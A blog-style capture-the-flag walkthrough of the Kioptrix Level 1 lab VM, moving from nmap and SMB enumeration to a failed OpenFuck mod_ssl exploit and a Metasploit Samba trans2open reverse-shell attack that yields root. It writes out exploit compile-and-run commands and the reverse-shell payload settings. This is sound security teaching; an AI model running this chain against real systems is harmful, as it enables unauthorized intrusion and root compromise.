Breaking Into Kioptrix Level 1: From Network Reconnaissance to Root Access

An investigation of legacy Linux services, Samba enumeration, remote buffer overflow exploitation, and a successful root-level compromise.

Introduction

Some of the most interesting security lessons come from systems that have been left behind.

Kioptrix Level 1 is a deliberately vulnerable Linux machine designed to demonstrate how outdated services and insecure configurations can expose an entire system to remote compromise. Although it is an older lab environment, the techniques involved remain useful for understanding attack surface discovery, service enumeration, vulnerability validation, and exploitation.

In this walkthrough, I investigate Kioptrix Level 1 from the perspective of a security researcher. The process begins with identifying the target on the local network, moves through service and vulnerability enumeration, and ends with successfully obtaining a root-level command shell.

The objective is not simply to run an exploit. It is to understand how the exposed services reveal potential weaknesses, how those weaknesses can be investigated, and why one exploitation path succeeds while another does not.

Lab environment

• Target: Kioptrix Level 1
• Attacker machine: Kali Linux
• Virtualization: VMware
• Target operating system: Linux
• Network: Host-only / isolated virtual lab
• Attacker IP: 192.168.204.128
• Target IP: 192.168.204.130

All testing described here was performed against my own intentionally vulnerable virtual machine.

1. Discovering the Target

Before investigating services, I needed to identify the IP address assigned to the Kioptrix virtual machine.

My Kali Linux machine was configured with the following address:

192.168.204.128/24

I performed host discovery across the local subnet:

sudo nmap -sn 192.168.204.0/24

The scan identified an active host:

Nmap scan report for 192.168.204.130
Host is up.
MAC Address: 00:0C:29:7C:3A:16 (VMware)

The MAC address matched the address configured for the Kioptrix virtual machine in VMware.

This gave me a confirmed target:

Kioptrix Level 1 — 192.168.204.130

At this stage, I had established that the target was reachable from the attacker machine. The next step was to understand what it exposed over the network.

2. Mapping the Attack Surface with Nmap

I started with a full TCP port scan, service-version detection, default scripts, and operating-system fingerprinting.

sudo nmap -sC -sV -O -p- 192.168.204.130 -oA kioptrix-nmap

The scan identified six open TCP ports.

Port 22/tcp — SSH

• Service: SSH
• Version: OpenSSH 2.9p2

Port 80/tcp — HTTP

• Service: HTTP
• Version: Apache 1.3.20

Port 111/tcp — RPCbind

• Service: RPCbind
• Information: RPC #100000

Port 139/tcp — NetBIOS/SMB

• Service: SMB
• Software: Samba

Port 443/tcp — HTTPS

• Service: HTTPS
• Software: Apache 1.3.20
• SSL module: mod_ssl 2.8.4
• OpenSSL: 0.9.6b

Port 1024/tcp — RPC status

• Service: RPC status
• Information: RPC #100024

The operating-system fingerprint suggested an old Linux 2.4.x environment. Nmap also identified the NetBIOS name as:

KIOPTRIX

Several details immediately stood out.

• OpenSSH 2.9p2 supported the legacy SSHv1 protocol.
• Apache 1.3.20 was an outdated web server version.
• The HTTPS service exposed old mod_ssl and OpenSSL versions.
• SMB and RPC services were accessible.
• The HTTP service supported the TRACE method.
• SSLv2 was detected during the initial scan.

None of these observations alone confirmed a successful attack path. However, together they provided a useful picture of a legacy Linux system with multiple services worth investigating.

3. Going Deeper: Service Enumeration

A port scan tells us what is listening. Service enumeration helps explain what those services reveal and whether their configurations introduce additional risk.

I used Nmap NSE scripts, Nikto, Netcat, cURL, SMB tools, and NetBIOS scanning to collect more information.

3.1 HTTP Enumeration

I used the following Nmap scripts:

sudo nmap -p 80 --script http-title,http-server-header,http-methods 192.168.204.130

The results identified:

• Apache 1.3.20
• Red Hat Linux
• mod_ssl 2.8.4
• OpenSSL 0.9.6b
• The default Apache test page

The server supported these HTTP methods:

GET
HEAD
OPTIONS
TRACE

The TRACE method was enabled. This can create security concerns in certain configurations, including historical Cross-Site Tracing scenarios.

I also checked the HTTP response headers:

curl -I http://192.168.204.130

The response exposed the server software:

Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b

This was useful fingerprinting information. It disclosed not only the web server but also its operating-system family and SSL-related components.

The default Apache test page was also accessible:

curl http://192.168.204.130

The /manual/ and /icons/ paths were additional areas of interest.

3.2 Nikto Web Server Assessment

I ran Nikto against the HTTP service:

nikto -h http://192.168.204.130

Some of the notable findings included:

• Outdated Apache 1.3.20
• Outdated OpenSSL 0.9.6b
• Outdated mod_ssl 2.8.4
• HTTP TRACE enabled
• Directory indexing under /manual/
• Directory indexing under /icons/
• Potential ETag information disclosure
• Exposed Apache documentation and default files

Nikto also returned historical vulnerability signatures associated with the detected software.

I treated those results as leads rather than proof of exploitability. Automated scanners can identify potentially vulnerable versions, but a version match does not automatically establish that a particular exploit will work against a specific installation.

3.3 SSL/TLS Enumeration

The HTTPS service was another important part of the attack surface.

I used:

sudo nmap -p 443 --script ssl-enum-ciphers 192.168.204.130

The results identified support for:

• SSLv3
• TLS 1.0
• RC4
• DES
• 3DES
• RC2
• MD5-based cipher suites

Nmap assigned the least secure cipher strength a grade of F.

This indicated a seriously outdated TLS configuration. Even without exploiting the web server, the protocol and cipher support demonstrated that the HTTPS service did not meet modern security expectations.

3.4 SMB and NetBIOS Enumeration

The SMB service on port 139 deserved particular attention.

I first ran targeted NSE scripts:

sudo nmap -p 139 --script smb-os-discovery,smb-protocols,smb-enum-shares 192.168.204.130

The scripts confirmed that SMB/NetBIOS was available, although they did not return detailed share information.

I then used smbclient:

smbclient -L //192.168.204.130/ -N

The enumeration revealed:

• Anonymous SMB access was permitted.
• The server hostname was KIOPTRIX.
• The workgroup was MYGROUP.
• IPC-related shares, including IPC$ and ADMIN$, were listed.
• The server fell back to SMB1.

I also used NetBIOS scanning:

nbtscan 192.168.204.130

This independently confirmed the hostname:

KIOPTRIX

The combination of an exposed SMB service, anonymous access, and legacy protocol support made Samba an important candidate for further vulnerability assessment.

3.5 SSH and RPC Enumeration

To inspect the SSH service banner, I connected with Netcat:

nc -nv 192.168.204.130 22

The service identified itself as OpenSSH 2.9p2. The banner indicated compatibility with older SSH protocol versions.

Netcat returned a protocol mismatch after connecting. This was expected: Netcat establishes a TCP connection, but it does not conduct a complete SSH handshake.

For RPC, I ran:

sudo nmap -p 111,1024 --script rpcinfo 192.168.204.130

The results confirmed RPCbind on port 111 and the RPC status service on port 1024.

These services added to the overall attack surface, although they were not part of the final exploitation path.

4. From Enumeration to Vulnerability Identification

At this point, the target had several potentially vulnerable components.

The most relevant findings were:

The assessment identified several security weaknesses, including outdated Samba, Apache, mod_ssl, and OpenSSL versions, legacy SMB1 support, anonymous SMB access, and the enabled HTTP TRACE method. The HTTPS service also supported weak SSL/TLS protocols and cipher suites. Collectively, these issues increased the system’s attack surface and exposed it to potential remote exploitation, information disclosure, and weakened communication security.

Two historical vulnerabilities became the main focus of my investigation.

4.1 Samba Trans2Open — CVE-2003–0201

The Samba service was identified as version 2.2.1a.

This version falls within the historical vulnerable range associated with the Samba Trans2Open buffer overflow, tracked as:

CVE-2003–0201

The vulnerability involves memory corruption triggered through specially crafted SMB transaction requests. Under vulnerable conditions, successful exploitation can lead to remote code execution.

This was particularly interesting because the affected service was remotely accessible on port 139.

Get Furqan P.’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The Metasploit Framework also provided a module specifically designed to target this vulnerability.

4.2 Apache mod_ssl — CVE-2002–0082

The HTTPS service exposed:

mod_ssl 2.8.4
OpenSSL 0.9.6b
Apache 1.3.20

Historical research identified a related mod_ssl vulnerability, CVE-2002–0082.

I investigated the available OpenFuck exploit, commonly associated with the vulnerable Apache/mod_ssl configurations.

The source file was:

47080.c

I compiled it using:

gcc -o OpenFuck 47080.c -lcrypto

Compilation completed successfully, although the compiler produced OpenSSL 3.x deprecation warnings.

The exploit included target definitions corresponding to Red Hat Linux 7.2 and Apache 1.3.20:

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

I tested both target definitions:

./OpenFuck 0x6a 192.168.204.130 443 -c 40

./OpenFuck 0x6b 192.168.204.130 443 -c 40

The exploit reached the SSL service and displayed:

Ready to send shellcode
Spawning shell...
Good Bye!

However, no interactive shell was obtained.

This distinction matters: the exploit ran and reached the target service, but I did not establish a usable session. I therefore recorded this as an unsuccessful exploitation attempt, not a confirmed compromise.

5. Exploiting Samba with Metasploit

After investigating the web server route, I focused on the Samba Trans2Open vulnerability.

I launched Metasploit:

msfconsole

Then selected the module:

use exploit/linux/samba/trans2open

I configured the target:

set RHOSTS 192.168.204.130
set RPORT 139

5.1 The First Payload Attempt

My initial payload was:

linux/x86/meterpreter/reverse_tcp

The exploit created sessions, but they terminated immediately.

This was an important point in the investigation. A session being created does not necessarily mean that the payload has executed successfully or that a stable interactive session is available.

Rather than treating the initial output as a successful compromise, I investigated a different payload option.

5.2 Switching to a Standard Command Shell

I changed the payload to:

set payload generic/shell_reverse_tcp

Then configured the attacker’s listener details:

set LHOST 192.168.204.128
set LPORT 4444

The resulting configuration was:

RHOSTS  = 192.168.204.130
RPORT   = 139
LHOST   = 192.168.204.128
LPORT   = 4444
PAYLOAD = generic/shell_reverse_tcp

I executed the exploit:

run

This time, Metasploit reported multiple command-shell sessions:

Command shell session 1 opened
Command shell session 2 opened
Command shell session 3 opened
Command shell session 4 opened

I interacted with the first session:

sessions 1

The session was already interactive.

5.3 Verifying Root Access

The first check was:

whoami

The output was:

root

This confirmed that the shell had root-level privileges.

I then checked the operating system:

uname -a

The target returned:

Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

Finally, I checked the current working directory:

pwd

Output:

/tmp

At this point, the compromise was confirmed.

The Samba Trans2Open exploit had provided a remote command shell running as root on the Kioptrix machine.

One technical distinction is worth noting: this was a standard command shell, not a Meterpreter session. Consequently, Meterpreter-specific commands such as sysinfo were unavailable. I used native Linux commands such as whoami and uname -a to verify access and system information instead.

6. Understanding the Metasploit Module

Obtaining a shell demonstrates that an exploit works in a particular environment. Understanding how the exploit operates provides a much more useful technical lesson.

The Metasploit module used in this investigation was:

/usr/share/metasploit-framework/modules/exploits/linux/samba/trans2open.rb

The module is written in Ruby and identifies itself as:

Samba trans2open Overflow (Linux x86)

It targets vulnerable Samba 2.2.x installations on Linux x86.

6.1 Module Structure

The module begins with a class declaration similar to:

class MetasploitModule < Msf::Exploit::Remote

This means the module inherits functionality from Metasploit’s remote exploitation framework.

It also uses existing framework components, including SMB client functionality and brute-force support.

This avoids the need to implement every networking and exploitation feature from scratch.

6.2 Target and Return-Address Handling

The module defines a target associated with:

Samba 2.2.x - Bruteforce

Its configuration includes parameters used to identify a suitable return address.

These values are relevant because successful exploitation of a buffer overflow depends on controlling how execution proceeds after memory corruption.

The module uses a brute-force approach to test possible return addresses rather than assuming that one address will work across every target.

6.3 Payload Configuration

The module also defines payload-related constraints, including:

• Payload space
• Bad characters
• Minimum NOP requirements
• Stack adjustment

These settings help ensure that the generated payload can be incorporated into the crafted request without introducing problematic bytes or exceeding the available space.

6.4 Exploitation Flow

At a high level, the module’s exploitation process involves:

1. Selecting a possible return address.
2. Establishing communication with the target over SMB.
3. Checking the remote Samba service.
4. Constructing a specially sized buffer.
5. Incorporating the payload.
6. Triggering the vulnerable transaction-processing behavior.
7. Attempting to redirect execution.
8. Using the Metasploit handler to receive the resulting session.

The module automates much of the process that would otherwise require manual exploit development.

7. Why Metasploit Uses Ruby

Ruby is an important part of Metasploit’s architecture because it provides a flexible way to develop and maintain exploit modules.

In the Trans2Open module, Ruby is used to:

• Define exploit metadata and target information.
• Configure payloads and module options.
• Reuse Metasploit networking and SMB libraries.
• Construct and manipulate exploit data.
• Implement the exploitation logic.
• Integrate the exploit with Metasploit’s session-handling functionality.

For example, a module can include existing SMB functionality instead of implementing the underlying protocol communication independently.

This makes the framework modular: researchers can focus on the vulnerability-specific logic while relying on shared framework components for common tasks.

8. Results and Security Implications

The investigation produced two notable exploitation outcomes.

1. Samba Trans2Open — CVE-2003–0201

- Result: Successfully obtained a root command shell.

2. Apache mod_ssl / OpenFuck

- Result: Exploitation attempted, but no interactive shell was obtained.

3. HTTP TRACE

- Result: Configuration weakness identified.

4. Legacy SSL/TLS Configuration

- Result: Weak protocols and cipher suites identified.

5. Anonymous SMB Access

- Result: Confirmed. Anonymous access to SMB shares was permitted.

The most significant result was the successful exploitation of Samba.

The compromise demonstrated that a remotely accessible, vulnerable service could provide root-level access to the underlying Linux system.

In a real environment, root access could allow an attacker to:

• Read sensitive files.
• Modify system configurations.
• Create unauthorized accounts.
• Install malicious software.
• Disable security controls.
• Access other systems from the compromised host.

The impact is much greater than simply gaining access to one network service. It is a compromise of the operating system itself.

9. What This Investigation Demonstrates

This lab reinforced several important principles.

Enumeration should guide exploitation.

A port scan is only the beginning. Service banners, protocol support, configuration details, and accessible resources help build a more accurate understanding of the target.

Version detection is a starting point, not proof.

An outdated version may be associated with known vulnerabilities, but exploitability must be investigated in the context of the actual service and configuration.

A failed exploit is still a useful result.

The OpenFuck attempt reached the SSL service but did not provide an interactive shell. Recording that outcome accurately is part of sound security research.

Payload compatibility matters.

The initial Meterpreter sessions terminated. Switching to a standard reverse command shell resulted in a usable session. The exploit and payload must both behave correctly for the compromise to be successful.

Root access changes the severity of the finding.

The final whoami result confirmed that the compromise was not limited to an unprivileged account. The vulnerable Samba service provided root-level access.

Conclusion

Kioptrix Level 1 demonstrates how a collection of outdated services can expose a Linux system to serious security risks.

The investigation began with network discovery and moved through detailed enumeration of SSH, HTTP, HTTPS, SMB, and RPC. Several weaknesses were identified, including outdated software, weak SSL/TLS support, anonymous SMB access, and potentially unsafe HTTP configuration.

The Apache/mod_ssl exploitation attempt did not produce an interactive shell. The successful route was the Samba Trans2Open vulnerability, exploited through Metasploit using a standard reverse command-shell payload.

The final verification was straightforward:

whoami
root

That single result confirmed the successful root-level compromise.

For me, the most valuable part of this exercise was not simply obtaining root access. It was following the investigation from initial discovery to a verified result, distinguishing potential vulnerabilities from confirmed exploitation, and understanding why the successful path worked.

Kioptrix Level 1 is an old machine, but the lesson remains relevant: an exposed legacy service can become the weakest link in an otherwise connected environment.

Lab note: This walkthrough documents activity performed in an isolated, intentionally vulnerable lab. The findings and exploitation steps should only be reproduced against systems for which you have explicit authorization.